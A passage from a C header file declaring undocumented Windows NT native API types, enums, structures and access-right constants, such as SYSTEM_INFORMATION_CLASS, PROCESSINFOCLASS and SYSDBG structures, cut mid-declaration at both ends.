{ ULONG64 Address; PVOID Buffer; ULONG Request; enum _INTERFACE_TYPE InterfaceType; ULONG BusNumber; ULONG AddressSpace; } SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; typedef struct _SYSDBG_MSR { ULONG Msr; ULONG64 Data; } SYSDBG_MSR, *PSYSDBG_MSR; typedef enum _BUS_DATA_TYPE { ConfigurationSpaceUndefined = -1, Cmos, EisaConfiguration, Pos, CbusConfiguration, PCIConfiguration, VMEConfiguration, NuBusConfiguration, PCMCIAConfiguration, MPIConfiguration, MPSAConfiguration, PNPISAConfiguration, SgiInternalConfiguration, MaximumBusDataType } BUS_DATA_TYPE, *PBUS_DATA_TYPE; typedef struct _SYSDBG_BUS_DATA { ULONG Address; PVOID Buffer; ULONG Request; enum _BUS_DATA_TYPE BusDataType; ULONG BusNumber; ULONG SlotNumber; } SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; typedef struct _SYSDBG_TRIAGE_DUMP { ULONG Flags; ULONG BugCheckCode; ULONG_PTR BugCheckParam1; ULONG_PTR BugCheckParam2; ULONG_PTR BugCheckParam3; ULONG_PTR BugCheckParam4; ULONG ProcessHandles; ULONG ThreadHandles; PHANDLE Handles; } SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemPathInformation, SystemProcessInformation, SystemCallCountInformation, SystemDeviceInformation, SystemProcessorPerformanceInformation, SystemFlagsInformation, SystemCallTimeInformation, SystemModuleInformation, SystemLocksInformation, SystemStackTraceInformation, SystemPagedPoolInformation, SystemNonPagedPoolInformation, SystemHandleInformation, SystemObjectInformation, SystemPageFileInformation, SystemVdmInstemulInformation, SystemVdmBopInformation, SystemFileCacheInformation, SystemPoolTagInformation, SystemInterruptInformation, SystemDpcBehaviorInformation, SystemFullMemoryInformation, SystemLoadGdiDriverInformation, SystemUnloadGdiDriverInformation, SystemTimeAdjustmentInformation, SystemSummaryMemoryInformation, SystemMirrorMemoryInformation, SystemPerformanceTraceInformation, SystemObsolete0, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemExtendServiceTableInformation, SystemPrioritySeperation, SystemVerifierAddDriverInformation, SystemVerifierRemoveDriverInformation, SystemProcessorIdleInformation, SystemLegacyDriverInformation, SystemCurrentTimeZoneInformation, SystemLookasideInformation, SystemTimeSlipNotification, SystemSessionCreate, SystemSessionDetach, SystemSessionInformation, SystemRangeStartInformation, SystemVerifierInformation, SystemVerifierThunkExtend, SystemSessionProcessInformation, SystemLoadGdiDriverInSystemSpace, SystemNumaProcessorMap, SystemPrefetcherInformation, SystemExtendedProcessInformation, SystemRecommendedSharedDataAlignment, SystemComPlusPackage, SystemNumaAvailableMemory, SystemProcessorPowerInformation, SystemEmulationBasicInformation, // WOW64 SystemEmulationProcessorInformation, // WOW64 SystemExtendedHandleInformation, SystemLostDelayedWriteInformation, SystemBigPoolInformation, SystemSessionPoolTagInformation, SystemSessionMappedViewInformation, SystemHotpatchInformation, SystemObjectSecurityMode, SystemWatchdogTimerHandler, SystemWatchdogTimerInformation, SystemLogicalProcessorInformation, SystemWow64SharedInformation, SystemRegisterFirmwareTableInformationHandler, SystemFirmwareTableInformation, SystemModuleInformationEx, SystemVerifierTriageInformation, SystemSuperfetchInformation, SystemMemoryListInformation, SystemFileCacheInformationEx, SystemThreadPriorityClientIdInformation, SystemProcessorIdleCycleTimeInformation, SystemVerifierCancellationInformation, SystemProcessorPowerInformationEx, SystemRefTraceInformation, SystemSpecialPoolInformation, SystemProcessIdInformation, SystemErrorPortInformation, SystemBootEnvironmentInformation, SystemHypervisorInformation, SystemVerifierInformationEx, SystemTimeZoneInformation, SystemImageFileExecutionOptionsInformation, SystemCoverageInformation, SystemPrefetchPatchInformation, SystemVerifierFaultsInformation, SystemSystemPartitionInformation, SystemSystemDiskInformation, SystemProcessorPerformanceDistribution, SystemNumaProximityNodeInformation, SystemDynamicTimeZoneInformation, SystemCodeIntegrityInformation, SystemProcessorMicrocodeUpdateInformation, SystemProcessorBrandString, SystemVirtualAddressInformation, MaxSystemInfoClass } SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; typedef enum _EVENT_TRACE_INFORMATION_CLASS { EventTraceKernelVersionInformation, EventTraceGroupMaskInformation, EventTracePerformanceInformation, EventTraceTimeProfileInformation, EventTraceSessionSecurityInformation, MaxEventTraceInfoClass } EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS; #define LOCK_QUEUE_WAIT 1 #define LOCK_QUEUE_WAIT_BIT 0 #define LOCK_QUEUE_OWNER 2 #define LOCK_QUEUE_OWNER_BIT 1 #define LOCK_QUEUE_TIMER_LOCK_SHIFT 4 #define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT)) typedef enum _KSPIN_LOCK_QUEUE_NUMBER { LockQueueDispatcherLock, LockQueueUnusedSpare1, LockQueuePfnLock, LockQueueSystemSpaceLock, LockQueueVacbLock, LockQueueMasterLock, LockQueueNonPagedPoolLock, LockQueueIoCancelLock, LockQueueWorkQueueLock, LockQueueIoVpbLock, LockQueueIoDatabaseLock, LockQueueIoCompletionLock, LockQueueNtfsStructLock, LockQueueAfdWorkQueueLock, LockQueueBcbLock, LockQueueMmNonPagedPoolLock, LockQueueUnusedSpare16, LockQueueTimerTableLock, LockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS } KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER; typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE; typedef enum _PROCESSINFOCLASS { ProcessBasicInformation, ProcessQuotaLimits, ProcessIoCounters, ProcessVmCounters, ProcessTimes, ProcessBasePriority, ProcessRaisePriority, ProcessDebugPort, ProcessExceptionPort, ProcessAccessToken, ProcessLdtInformation, ProcessLdtSize, ProcessDefaultHardErrorMode, ProcessIoPortHandlers, ProcessPooledUsageAndLimits, ProcessWorkingSetWatch, ProcessUserModeIOPL, ProcessEnableAlignmentFaultFixup, ProcessPriorityClass, ProcessWx86Information, ProcessHandleCount, ProcessAffinityMask, ProcessPriorityBoost, ProcessDeviceMap, ProcessSessionInformation, ProcessForegroundInformation, ProcessWow64Information, ProcessImageFileName, ProcessLUIDDeviceMapsEnabled, ProcessBreakOnTermination, ProcessDebugObjectHandle, ProcessDebugFlags, ProcessHandleTracing, ProcessIoPriority, ProcessExecuteFlags, ProcessTlsInformation, ProcessCookie, ProcessImageInformation, ProcessCycleTime, ProcessPagePriority, ProcessInstrumentationCallback, ProcessThreadStackAllocation, ProcessWorkingSetWatchEx, ProcessImageFileNameWin32, ProcessImageFileMapping, ProcessAffinityUpdateMode, ProcessMemoryAllocationMode, ProcessGroupInformation, ProcessTokenVirtualizationEnabled, ProcessConsoleHostProcess, ProcessWindowInformation, MaxProcessInfoClass } PROCESSINFOCLASS; typedef enum _THREADINFOCLASS { ThreadBasicInformation, ThreadTimes, ThreadPriority, ThreadBasePriority, ThreadAffinityMask, ThreadImpersonationToken, ThreadDescriptorTableEntry, ThreadEnableAlignmentFaultFixup, ThreadEventPair_Reusable, ThreadQuerySetWin32StartAddress, ThreadZeroTlsCell, ThreadPerformanceCount, ThreadAmILastThread, ThreadIdealProcessor, ThreadPriorityBoost, ThreadSetTlsArrayAddress, // Obsolete ThreadIsIoPending, ThreadHideFromDebugger, ThreadBreakOnTermination, ThreadSwitchLegacyState, ThreadIsTerminated, ThreadLastSystemCall, ThreadIoPriority, ThreadCycleTime, ThreadPagePriority, ThreadActualBasePriority, ThreadTebInformation, ThreadCSwitchMon, // Obsolete ThreadCSwitchPmu, ThreadWow64Context, ThreadGroupInformation, ThreadUmsInformation, // UMS ThreadCounterProfiling, ThreadIdealProcessorEx, MaxThreadInfoClass } THREADINFOCLASS; typedef enum _PROCESS_TLS_INFORMATION_TYPE { ProcessTlsReplaceIndex, ProcessTlsReplaceVector, MaxProcessTlsOperation } PROCESS_TLS_INFORMATION_TYPE; #define PROCESS_TERMINATE (0x0001) #define PROCESS_CREATE_THREAD (0x0002) #define PROCESS_SET_SESSIONID (0x0004) #define PROCESS_VM_OPERATION (0x0008) #define PROCESS_VM_READ (0x0010) #define PROCESS_VM_WRITE (0x0020) #define PROCESS_DUP_HANDLE (0x0040) #define PROCESS_CREATE_PROCESS (0x0080) #define PROCESS_SET_QUOTA (0x0100) #define PROCESS_SET_INFORMATION (0x0200) #define PROCESS_QUERY_INFORMATION (0x0400) #define PROCESS_SET_PORT (0x0800) #define PROCESS_SUSPEND_RESUME (0x0800) #define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) #define ZwCurrentProcess() NtCurrentProcess() #define ZwCurrentThread() NtCurrentThread() // 28.05.2011 - rndbit #define NtLastError() ( NtCurrentTeb()->LastErrorValue ) #define NtLastStatus() ( NtCurrentTeb()->LastStatusValue ) #if defined(_M_X86) #define NtCurrentPID() __readfsdword(0x20) #else #define NtCurrentPID() __readgsqword(0x20) #endif #define THREAD_TERMINATE (0x0001) #define THREAD_SUSPEND_RESUME (0x0002) #define THREAD_ALERT (0x0004) #define THREAD_GET_CONTEXT (0x0008) #define THREAD_SET_CONTEXT (0x0010) #define THREAD_SET_INFORMATION (0x0020) #define THREAD_QUERY_INFORMATION (0x0040) #define THREAD_SET_THREAD_TOKEN (0x0080) #define THREAD_IMPERSONATE (0x0100) #define THREAD_DIRECT_IMPERSONATION (0x0200) #define JOB_OBJECT_ASSIGN_PROCESS (0x0001) #define JOB_OBJECT_SET_ATTRIBUTES (0x0002) #define JOB_OBJECT_QUERY (0x0004) #define JOB_OBJECT_TERMINATE (0x0008) #define JOB_OBJECT_SET_SECURITY_ATTRIBUTES (0x0010) #ifndef _WINNT_ #define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F ) #endif #define PEB_STDIO_HANDLE_NATIVE 0 #define PEB_STDIO_HANDLE_SUBSYS 1 #define PEB_STDIO_HANDLE_PM 2 #define PEB_STDIO_HANDLE_RESERVED 3 #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE64 60 #if !defined(_M_X64) #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 #else #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 #endif typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; #define FOREGROUND_BASE_PRIORITY 9 #define NORMAL_BASE_PRIORITY 8 #ifndef FILE_READ_ACCESS #define FILE_READ_ACCESS ( 0x0001 ) #endif typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, FileBothDirectoryInformation, FileBasicInformation, FileStandardInformation, FileInternalInformation, FileEaInformation, FileAccessInformation, FileNameInformation, FileRenameInformation, FileLinkInformation, FileNamesInformation, FileDispositionInformation, FilePositionInformation, FileFullEaInformation, FileModeInformation, FileAlignmentInformation, FileAllInformation, FileAllocationInformation, FileEndOfFileInformation, FileAlternateNameInformation, FileStreamInformation, FilePipeInformation, FilePipeLocalInformation, FilePipeRemoteInformation, FileMailslotQueryInformation, FileMailslotSetInformation, FileCompressionInformation, FileObjectIdInformation, FileCompletionInformation, FileMoveClusterInformation, FileQuotaInformation, FileReparsePointInformation, FileNetworkOpenInformation, FileAttributeTagInformation, FileTrackingInformation, FileIdBothDirectoryInformation, FileIdFullDirectoryInformation, FileValidDataLengthInformation, FileShortNameInformation, FileIoCompletionNotificationInformation, FileIoStatusBlockRangeInformation, FileIoPriorityHintInformation, FileSfioReserveInformation, FileSfioVolumeInformation, FileHardLinkInformation, FileProcessIdsUsingFileInformation, FileNormalizedNameInformation, FileNetworkPhysicalNameInformation, FileIdGlobalTxDirectoryInformation, FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; typedef enum _FSINFOCLASS { FileFsVolumeInformation = 1, FileFsLabelInformation, FileFsSizeInformation, FileFsDeviceInformation, FileFsAttributeInformation, FileFsControlInformation, FileFsFullSizeInformation, FileFsObjectIdInformation, FileFsDriverPathInformation, FileFsVolumeFlagsInformation, FileFsMaximumInformation } FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS, MaxPoolType, NonPagedPoolSession, PagedPoolSession, NonPagedPoolMustSucceedSession, DontUseThisTypeSession, NonPagedPoolCacheAlignedSession, PagedPoolCacheAlignedSession, NonPagedPoolCacheAlignedMustSSession } POOL_TYPE, *PPOOL_TYPE; typedef enum _MEMORY_INFORMATION_CLASS { MemoryBasicInformation, MemoryWorkingSetInformation, MemoryMappedFilenameInformation, MemoryRegionInformation, MemoryWorkingSetExInformation } MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; typedef enum _REG_NOTIFY_CLASS { RegNtDeleteKey, RegNtPreDeleteKey, RegNtSetValueKey, RegNtPreSetValueKey, RegNtDeleteValueKey, RegNtPreDeleteValueKey, RegNtSetInformationKey, RegNtPreSetInformationKey, RegNtRenameKey, RegNtPreRenameKey, RegNtEnumerateKey, RegNtPreEnumerateKey, RegNtEnumerateValueKey, RegNtPreEnumerateValueKey, RegNtQueryKey, RegNtPreQueryKey, RegNtQueryValueKey, RegNtPreQueryValueKey, RegNtQueryMultipleValueKey, RegNtPreQueryMultipleValueKey, RegNtPreCreateKey, RegNtPostCreateKey, RegNtPreOpenKey, RegNtPostOpenKey, RegNtKeyHandleClose, RegNtPreKeyHandleClose, RegNtPostDeleteKey, RegNtPostSetValueKey, RegNtPostDeleteValueKey, RegNtPostSetInformationKey, RegNtPostRenameKey, RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPostQueryKey, RegNtPostQueryValueKey, RegNtPostQueryMultipleValueKey, RegNtPostKeyHandleClose, RegNtPreCreateKeyEx, RegNtPostCreateKeyEx, RegNtPreOpenKeyEx, RegNtPostOpenKeyEx, RegNtPreFlushKey, RegNtPostFlushKey, RegNtPreLoadKey, RegNtPostLoadKey, RegNtPreUnLoadKey, RegNtPostUnLoadKey, RegNtPreQueryKeySecurity, RegNtPostQueryKeySecurity, RegNtPreSetKeySecurity, RegNtPostSetKeySecurity, RegNtCallbackObjectContextCleanup, MaxRegNtNotifyClass } REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS; typedef enum _HAL_QUERY_INFORMATION_CLASS { HalInstalledBusInformation, HalProfileSourceInformation, HalInformationClassUnused1, HalPowerInformation, HalProcessorSpeedInformation, HalCallbackInformation, HalMapRegisterInformation, HalMcaLogInformation, HalFrameBufferCachingInformation, HalDisplayBiosInformation, HalProcessorFeatureInformation, HalNumaTopologyInterface, HalErrorInformation, HalCmcLogInformation, HalCpeLogInformation, HalQueryMcaInterface, HalQueryAMLIIllegalIOPortAddresses, HalQueryMaxHotPlugMemoryAddress, HalPartitionIpiInterface, HalPlatformInformation, HalQueryProfileSourceList, HalInitLogInformation, HalFrequencyInformation, HalProcessorBrandString } HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS; #if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) typedef enum POWER_INFORMATION_LEVEL { SystemPowerPolicyAc = 0x0, SystemPowerPolicyDc = 0x1, VerifySystemPolicyAc = 0x2, VerifySystemPolicyDc = 0x3, SystemPowerCapabilities = 0x4, SystemBatteryState = 0x5, SystemPowerStateHandler = 0x6, ProcessorStateHandler = 0x7, SystemPowerPolicyCurrent = 0x8, AdministratorPowerPolicy = 0x9, SystemReserveHiberFile = 0xa, ProcessorInformation = 0xb, SystemPowerInformation = 0xc, ProcessorStateHandler2 = 0xd, LastWakeTime = 0xe, LastSleepTime = 0xf, SystemExecutionState = 0x10, SystemPowerStateNotifyHandler = 0x11, ProcessorPowerPolicyAc = 0x12, ProcessorPowerPolicyDc = 0x13, VerifyProcessorPowerPolicyAc = 0x14, VerifyProcessorPowerPolicyDc = 0x15, ProcessorPowerPolicyCurrent = 0x16, SystemPowerStateLogging = 0x17, SystemPowerLoggingEntry = 0x18, SetPowerSettingValue = 0x19, NotifyUserPowerSetting = 0x1a, GetPowerTransitionVetoes = 0x1b, SetPowerTransitionVeto = 0x1c, SystemVideoState = 0x1d, TraceApplicationPowerMessage = 0x1e, TraceApplicationPowerMessageEnd = 0x1f, ProcessorPerfStates = 0x20, ProcessorIdleStates = 0x21, ProcessorThrottleStates = 0x22, SystemWakeSource = 0x23, SystemHiberFileInformation = 0x24, TraceServicePowerMessage = 0x25, ProcessorLoad = 0x26, PowerShutdownNotification = 0x27, MonitorCapabilities = 0x28 }; #endif typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef VOID(NTAPI *PIO_APC_ROUTINE)( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved ); typedef struct _X86_FLOATING_SAVE_AREA { ULONG ControlWord; ULONG StatusWord; ULONG TagWord; ULONG ErrorOffset; ULONG ErrorSelector; ULONG DataOffset; ULONG DataSelector; UCHAR RegisterArea[ 80 ]; ULONG Cr0NpxState; } X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA; typedef struct _X86_CONTEXT { ULONG ContextFlags; ULONG Dr0; ULONG Dr1; ULONG Dr2; ULONG Dr3; ULONG Dr6; ULONG Dr7; X86_FLOATING_SAVE_AREA FloatSave; ULONG SegGs; ULONG SegFs; ULONG SegEs; ULONG SegDs; ULONG Edi; ULONG Esi; ULONG Ebx; ULONG Edx; ULONG Ecx; ULONG Eax; ULONG Ebp; ULONG Eip; ULONG SegCs; ULONG EFlags; ULONG Esp; ULONG SegSs; } X86_CONTEXT, *PX86_CONTEXT; #define FILE_SUPERSEDE 0x00000000 #define FILE_OPEN 0x00000001 #define FILE_CREATE 0x00000002 #define FILE_OPEN_IF 0x00000003 #define FILE_OVERWRITE 0x00000004 #define FILE_OVERWRITE_IF 0x00000005 #define FILE_MAXIMUM_DISPOSITION 0x00000005 #define FILE_DIRECTORY_FILE 0x00000001 #define FILE_WRITE_THROUGH 0x00000002 #define FILE_SEQUENTIAL_ONLY 0x00000004 #define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 #define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #define FILE_NON_DIRECTORY_FILE 0x00000040 #define FILE_CREATE_TREE_CONNECTION 0x00000080 #define FILE_COMPLETE_IF_OPLOCKED 0x00000100 #define FILE_NO_EA_KNOWLEDGE 0x00000200 #define FILE_OPEN_FOR_RECOVERY 0x00000400 #define FILE_RANDOM_ACCESS 0x00000800 #define FILE_DELETE_ON_CLOSE 0x00001000 #define FILE_OPEN_BY_FILE_ID 0x00002000 #define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 #define FILE_NO_COMPRESSION 0x00008000 #define FILE_RESERVE_OPFILTER 0x00100000 #define FILE_OPEN_REPARSE_POINT 0x00200000 #define FILE_OPEN_NO_RECALL 0x00400000 #define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 #define FILE_COPY_STRUCTURED_STORAGE 0x00000041 #define FILE_STRUCTURED_STORAGE 0x00000441 #define FILE_VALID_OPTION_FLAGS 0x00ffffff #define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 #define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 #define FILE_VALID_SET_FLAGS 0x00000036 #define WIN32_CLIENT_INFO_LENGTH 62 #define PIO_APC_ROUTINE_DEFINED typedef struct _PORT_VIEW { ULONG Length; LPC_HANDLE SectionHandle; ULONG SectionOffset; LPC_SIZE_T ViewSize; LPC_PVOID ViewBase; LPC_PVOID ViewRemoteBase; } PORT_VIEW, *PPORT_VIEW; typedef struct _REMOTE_PORT_VIEW { ULONG Length; LPC_SIZE_T ViewSize; LPC_PVOID ViewBase; } REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; #define IO_COMPLETION_QUERY_STATE 0x0001 #define IO_COMPLETION_MODIFY_STATE 0x0002 #define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) typedef enum _IO_COMPLETION_INFORMATION_CLASS { IoCompletionBasicInformation } IO_COMPLETION_INFORMATION_CLASS; typedef enum _PORT_INFORMATION_CLASS { PortBasicInformation } PORT_INFORMATION_CLASS; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; //added 21/03/2011 typedef struct _MEMORY_WORKING_SET_BLOCK { ULONG_PTR Protection : 5; ULONG_PTR ShareCount : 3; ULONG_PTR Shared : 1; ULONG_PTR Node : 3; #if defined(_M_X64) ULONG_PTR VirtualPage : 52; #else ULONG VirtualPage : 20; #endif } MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; typedef struct _MEMORY_WORKING_SET_INFORMATION { ULONG_PTR NumberOfEntries; MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; } MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; typedef struct _MEMORY_WORKING_SET_EX_BLOCK { ULONG_PTR Valid : 1; ULONG_PTR ShareCount : 3; ULONG_PTR Win32Protection : 11; ULONG_PTR Shared : 1; ULONG_PTR Node : 6; ULONG_PTR Locked : 1; ULONG_PTR LargePage : 1; ULONG_PTR Priority : 3; ULONG_PTR Reserved : 5; #if defined(_M_X64) ULONG_PTR ReservedUlong : 32; #endif } MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; typedef struct _MEMORY_REGION_INFORMATION { PVOID AllocationBase; ULONG AllocationProtect; ULONG RegionType; SIZE_T RegionSize; } MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; typedef struct _MEMORY_WORKING_SET_EX_INFORMATION { PVOID VirtualAddress; union { MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; ULONG Long; }; } MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; typedef VOID (*PTIMER_APC_ROUTINE) ( IN PVOID TimerContext, IN ULONG TimerLowValue, IN LONG TimerHighValue ); typedef enum _SHUTDOWN_ACTION { ShutdownNoReboot, ShutdownReboot, ShutdownPowerOff } SHUTDOWN_ACTION; typedef enum _ATOM_INFORMATION_CLASS { AtomBasicInformation, AtomTableInformation } ATOM_INFORMATION_CLASS; typedef struct _ATOM_BASIC_INFORMATION { USHORT UsageCount; USHORT Flags; USHORT NameLength; WCHAR Name[1]; } ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; typedef struct _ATOM_TABLE_INFORMATION { ULONG NumberOfAtoms; RTL_ATOM Atoms[1]; } ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; #define SEMAPHORE_QUERY_STATE 0x0001 #define SEMAPHORE_MODIFY_STATE 0x0002 #define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) typedef enum _SEMAPHORE_INFORMATION_CLASS { SemaphoreBasicInformation } SEMAPHORE_INFORMATION_CLASS; typedef struct _SEMAPHORE_BASIC_INFORMATION { LONG CurrentCount; LONG MaximumCount; } SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; #define MUTANT_QUERY_STATE 0x0001 #define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ MUTANT_QUERY_STATE) typedef enum _MUTANT_INFORMATION_CLASS { MutantBasicInformation } MUTANT_INFORMATION_CLASS; typedef struct _MUTANT_BASIC_INFORMATION { LONG CurrentCount; BOOLEAN OwnedByCaller; BOOLEAN AbandonedState; } MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; #define TIMER_QUERY_STATE 0x0001 #define TIMER_MODIFY_STATE 0x0002 #define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ TIMER_QUERY_STATE|TIMER_MODIFY_STATE) typedef enum _TIMER_INFORMATION_CLASS { TimerBasicInformation } TIMER_INFORMATION_CLASS; typedef struct _TIMER_BASIC_INFORMATION { LARGE_INTEGER RemainingTime; BOOLEAN TimerState; } TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; typedef enum _SECTION_INFORMATION_CLASS { SectionBasicInformation, SectionImageInformation, MaxSectionInfoClass } SECTION_INFORMATION_CLASS; #define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') #define OBJ_MAX_REPARSE_ATTEMPTS 32 #define OBJECT_TYPE_CREATE (0x0001) #define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) #define DIRECTORY_QUERY (0x0001) #define DIRECTORY_TRAVERSE (0x0002) #define DIRECTORY_CREATE_OBJECT (0x0004) #define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) #define SYMBOLIC_LINK_QUERY (0x0001) #define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) typedef enum _OBJECT_INFORMATION_CLASS { ObjectBasicInformation, ObjectNameInformation, ObjectTypeInformation, ObjectTypesInformation, ObjectHandleFlagInformation, ObjectSessionInformation, MaxObjectInfoClass } OBJECT_INFORMATION_CLASS; typedef struct _OBJECT_BASIC_INFORMATION { ULONG Attributes; ACCESS_MASK GrantedAccess; ULONG HandleCount; ULONG PointerCount; ULONG PagedPoolCharge; ULONG NonPagedPoolCharge; ULONG Reserved[ 3 ]; ULONG NameInfoSize; ULONG TypeInfoSize; ULONG SecurityDescriptorSize; LARGE_INTEGER CreationTime; } OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; typedef struct _OBJECT_TYPE_INFORMATION { UNICODE_STRING TypeName; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccessMask; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; ULONG PoolType; ULONG DefaultPagedPoolCharge; ULONG DefaultNonPagedPoolCharge; } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; typedef struct _OBJECT_TYPES_INFORMATION { ULONG NumberOfTypes; OBJECT_TYPE_INFORMATION TypeInformation; } OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { BOOLEAN Inherit; BOOLEAN ProtectFromClose; } OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; typedef enum _PLUGPLAY_EVENT_CATEGORY { HardwareProfileChangeEvent, TargetDeviceChangeEvent, DeviceClassChangeEvent, CustomDeviceEvent, DeviceInstallEvent, DeviceArrivalEvent, PowerEvent, VetoEvent, BlockedDriverEvent, InvalidIDEvent, MaxPlugEventCategory } PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; typedef enum _PNP_VETO_TYPE { PNP_VetoTypeUnknown, // Name is unspecified PNP_VetoLegacyDevice, // Name is an Instance Path PNP_VetoPendingClose, // Name is an Instance Path PNP_VetoWindowsApp, // Name is a Module PNP_VetoWindowsService, // Name is a Service PNP_VetoOutstandingOpen, // Name is an Instance Path PNP_VetoDevice, // Name is an Instance Path PNP_VetoDriver, // Name is a Driver Service Name PNP_VetoIllegalDeviceRequest, // Name is an Instance Path PNP_VetoInsufficientPower, // Name is unspecified PNP_VetoNonDisableable, // Name is an Instance Path PNP_VetoLegacyDriver, // Name is a Service PNP_VetoInsufficientRights // Name is unspecified } PNP_VETO_TYPE, *PPNP_VETO_TYPE; typedef struct _PLUGPLAY_EVENT_BLOCK { // 